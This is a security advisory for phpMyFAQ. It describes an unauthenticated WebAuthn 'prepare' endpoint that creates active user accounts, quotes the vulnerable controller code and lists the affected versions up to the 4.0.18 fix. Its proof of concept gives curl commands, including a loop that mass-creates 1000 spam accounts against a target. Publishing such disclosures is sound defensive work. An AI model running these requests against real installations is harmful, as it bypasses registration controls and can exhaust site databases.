phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint
The advisory, in context
Summary
The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79
#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
$data = json_decode($request->getContent(), ...);
$username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);
if (!$this->user->getUserByLogin($username, raiseError: false)) {
try {
$this->user->createUser($username);
$this->user->setStatus(status: 'active');
$this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
$this->user->setUserData([
'display_name' => $username,
'email' => $username,
]);
The endpoint:
- Accepts any POST request with a JSON
usernamefield - If the username doesn't exist, creates a new active user account
- Does NOT check if WebAuthn support is enabled (
security.enableWebAuthnSupport) - Does NOT check if registration is enabled (
security.enableRegistration) - Does NOT verify CSRF tokens
- Does NOT require captcha validation
- Has no rate limiting
PoC
# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d '{"username":"attacker_account"}'
# Mass account creation
for i in $(seq 1 1000); do
curl -s -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d "{\"username\":\"spam_user_$i"}" &
done
Impact
- Registration bypass: Accounts created even when self-registration is disabled
- Username squatting: Reserve usernames before legitimate users
- Database exhaustion: Create millions of fake active accounts (DoS)
- User enumeration: Different responses for existing vs new usernames
- Security control bypass: WebAuthn config check is bypassed entirely
All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases before 4.0.18
Fixed in 4.0.18
155 explicitly affected versions
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3, 2.8.0-RC4, 2.8.0-alpha2, 2.8.0-alpha3, 2.8.0-beta, 2.8.0-beta2, 2.8.0-beta3, 2.8.1, 2.8.10, 2.8.11, 2.8.12, 2.8.13, 2.8.14, 2.8.15, 2.8.16, 2.8.17, 2.8.18, 2.8.19, 2.8.2, 2.8.20, 2.8.21, 2.8.22, 2.8.23, 2.8.24, 2.8.25, 2.8.26, 2.8.27, 2.8.28, 2.8.29, 2.8.3, 2.8.4, 2.8.5, 2.8.6, 2.8.7, 2.8.8, 2.8.9, 2.9.0, 2.9.0-alpha, 2.9.0-alpha2, 2.9.0-alpha3, 2.9.0-alpha4, 2.9.0-beta, 2.9.0-beta2, 2.9.0-rc, 2.9.0-rc2, 2.9.0-rc3, 2.9.0-rc4, 2.9.1, 2.9.10, 2.9.11, 2.9.12, 2.9.13, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.9.8, 2.9.9, 3.0.0, 3.0.0-RC, 3.0.0-RC.2, 3.0.0-alpha, 3.0.0-alpha.2, 3.0.0-alpha.3, 3.0.0-alpha.4, 3.0.0-beta, 3.0.0-beta.2, 3.0.0-beta.3, 3.0.1, 3.0.10, 3.0.11, 3.0.12, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.1.0, 3.1.0-RC, 3.1.0-alpha, 3.1.0-alpha.2, 3.1.0-alpha.3, 3.1.0-beta, 3.1.1, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.2.0, 3.2.0-RC, 3.2.0-RC.2, 3.2.0-RC.4, 3.2.0-alpha, 3.2.0-beta, 3.2.0-beta.2, 3.2.1, 3.2.10, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 4.0.0, 4.0.0-RC, 4.0.0-RC.2, 4.0.0-RC.3, 4.0.0-RC.4, 4.0.0-RC.5, 4.0.0-alpha, 4.0.0-alpha.2, 4.0.0-alpha.3, 4.0.0-alpha.4, 4.0.0-beta, 4.0.0-beta.2, 4.0.1, 4.0.10, 4.0.11, 4.0.12, 4.0.13, 4.0.14, 4.0.15, 4.0.16, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.0.9
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.18"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.10.0-alpha",
"2.8.0",
"2.8.0-RC",
"2.8.0-RC2",
"2.8.0-RC3",
"2.8.0-RC4",
"2.8.0-alpha2",
"2.8.0-alpha3",
"2.8.0-beta",
"2.8.0-beta2",
"2.8.0-beta3",
"2.8.1",
"2.8.10",
"2.8.11",
"2.8.12",
"2.8.13",
"2.8.14",
"2.8.15",
"2.8.16",
"2.8.17",
"2.8.18",
"2.8.19",
"2.8.2",
"2.8.20",
"2.8.21",
"2.8.22",
"2.8.23",
"2.8.24",
"2.8.25",
"2.8.26",
"2.8.27",
"2.8.28",
"2.8.29",
"2.8.3",
"2.8.4",
"2.8.5",
"2.8.6",
"2.8.7",
"2.8.8",
"2.8.9",
"2.9.0",
"2.9.0-alpha",
"2.9.0-alpha2",
"2.9.0-alpha3",
"2.9.0-alpha4",
"2.9.0-beta",
"2.9.0-beta2",
"2.9.0-rc",
"2.9.0-rc2",
"2.9.0-rc3",
"2.9.0-rc4",
"2.9.1",
"2.9.10",
"2.9.11",
"2.9.12",
"2.9.13",
"2.9.2",
"2.9.3",
"2.9.4",
"2.9.5",
"2.9.6",
"2.9.7",
"2.9.8",
"2.9.9",
"3.0.0",
"3.0.0-RC",
"3.0.0-RC.2",
"3.0.0-alpha",
"3.0.0-alpha.2",
"3.0.0-alpha.3",
"3.0.0-alpha.4",
"3.0.0-beta",
"3.0.0-beta.2",
"3.0.0-beta.3",
"3.0.1",
"3.0.10",
"3.0.11",
"3.0.12",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.0.6",
"3.0.7",
"3.0.8",
"3.0.9",
"3.1.0",
"3.1.0-RC",
"3.1.0-alpha",
"3.1.0-alpha.2",
"3.1.0-alpha.3",
"3.1.0-beta",
"3.1.1",
"3.1.10",
"3.1.11",
"3.1.12",
"3.1.13",
"3.1.14",
"3.1.15",
"3.1.16",
"3.1.17",
"3.1.18",
"3.1.2",
"3.1.3",
"3.1.4",
"3.1.5",
"3.1.6",
"3.1.7",
"3.1.8",
"3.1.9",
"3.2.0",
"3.2.0-RC",
"3.2.0-RC.2",
"3.2.0-RC.4",
"3.2.0-alpha",
"3.2.0-beta",
"3.2.0-beta.2",
"3.2.1",
"3.2.10",
"3.2.2",
"3.2.3",
"3.2.4",
"3.2.5",
"3.2.6",
"3.2.7",
"3.2.8",
"3.2.9",
"4.0.0",
"4.0.0-RC",
"4.0.0-RC.2",
"4.0.0-RC.3",
"4.0.0-RC.4",
"4.0.0-RC.5",
"4.0.0-alpha",
"4.0.0-alpha.2",
"4.0.0-alpha.3",
"4.0.0-alpha.4",
"4.0.0-beta",
"4.0.0-beta.2",
"4.0.1",
"4.0.10",
"4.0.11",
"4.0.12",
"4.0.13",
"4.0.14",
"4.0.15",
"4.0.16",
"4.0.2",
"4.0.3",
"4.0.4",
"4.0.5",
"4.0.6",
"4.0.7",
"4.0.8",
"4.0.9"
]
}